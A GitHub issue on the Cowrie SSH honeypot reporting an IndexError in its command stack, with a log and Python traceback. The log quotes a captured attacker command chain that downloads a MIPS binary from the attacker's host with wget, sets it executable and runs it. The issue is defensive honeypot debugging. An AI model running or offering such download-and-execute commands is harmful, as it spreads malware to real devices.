Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

IndexError in cmdstack #422

Closed
fe7ch opened this issue Jan 23, 2017 · 0 comments
Closed

IndexError in cmdstack #422

fe7ch opened this issue Jan 23, 2017 · 0 comments

Comments

@fe7ch
Copy link
Contributor

fe7ch commented Jan 23, 2017

I have it even with #418 patch applied.

2017-01-23T14:59:21+0300 [SSHChannel session (0) on SSHService 'ssh-connection' on HoneyPotSSHTransport,35,attackers_ip] CMD: cd /;   wget http://attackers_ip/bins/usb_bus.mips -O - > usb_bus ;   chmod 777 usb_bus ; ./usb_bus ;/gweerwe323f
2017-01-23T14:59:21+0300 [SSHChannel session (0) on SSHService 'ssh-connection' on HoneyPotSSHTransport,35,attackers_ip] Command found: cd /
2017-01-23T14:59:21+0300 [SSHChannel session (0) on SSHService 'ssh-connection' on HoneyPotSSHTransport,35,attackers_ip] Command found: wget http://attackers_ip/bins/usb_bus.mips -O - > usb_bus
2017-01-23T14:59:21+0300 [cowrie.commands.wget.HTTPProgressDownloader#info] Starting factory <HTTPProgressDownloader: http://attackers_ip/bins/usb_bus.mips>
2017-01-23T14:59:21+0300 [SSHChannel session (0) on SSHService 'ssh-connection' on HoneyPotSSHTransport,35,attackers_ip] QUEUED INPUT:
2017-01-23T14:59:25+0300 [HTTPPageDownloader,client] Not storing duplicate content 16676b1b35fd42a13ddb9f3f7ced75951fc926b542f270dc4778920bf4977089
2017-01-23T14:59:25+0300 [HTTPPageDownloader,client] Downloaded URL (http://attackers_ip/bins/usb_bus.mips) with SHA-256 16676b1b35fd42a13ddb9f3f7ced75951fc926b542f270dc4778920bf4977089 to dl/16676b1b35fd42a13ddb9f3f7ced75951fc926b542f270dc4778920bf4977089
2017-01-23T14:59:25+0300 [HTTPPageDownloader,client] Command found: chmod 777 /usb_bus
2017-01-23T14:59:25+0300 [HTTPPageDownloader,client] Command not found: ./usb_bus
2017-01-23T14:59:25+0300 [HTTPPageDownloader,client] Command not found: /gweerwe323f
2017-01-23T14:59:25+0300 [cowrie.commands.wget.HTTPProgressDownloader#info] Stopping factory <HTTPProgressDownloader: http://attackers_ip/bins/usb_bus.mips>
2017-01-23T15:00:08+0300 [twisted.internet.defer#critical] Unhandled error in Deferred:
2017-01-23T15:00:08+0300 [twisted.internet.defer#critical]
        Traceback (most recent call last):
          File "/home/cowrie/cowrie-env/lib/python2.7/site-packages/twisted/internet/tcp.py", line 292, in connectionLost
            protocol.connectionLost(reason)
          File "/home/cowrie/cowrie-env/lib/python2.7/site-packages/twisted/web/client.py", line 223, in connectionLost
            self.factory._disconnectedDeferred.callback(None)
          File "/home/cowrie/cowrie-env/lib/python2.7/site-packages/twisted/internet/defer.py", line 457, in callback
            self._startRunCallbacks(result)
          File "/home/cowrie/cowrie-env/lib/python2.7/site-packages/twisted/internet/defer.py", line 565, in _startRunCallbacks
            self._runCallbacks()
        --- <exception caught here> ---
          File "/home/cowrie/cowrie-env/lib/python2.7/site-packages/twisted/internet/defer.py", line 651, in _runCallbacks
            current.result = callback(current.result, *args, **kw)
          File "/home/cowrie/cowrie_mips/cowrie/commands/wget.py", line 233, in error
            self.exit()
          File "/home/cowrie/cowrie_mips/cowrie/core/honeypot.py", line 124, in exit
            self.protocol.cmdstack[-1].resume()
        exceptions.IndexError: list index out of range
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant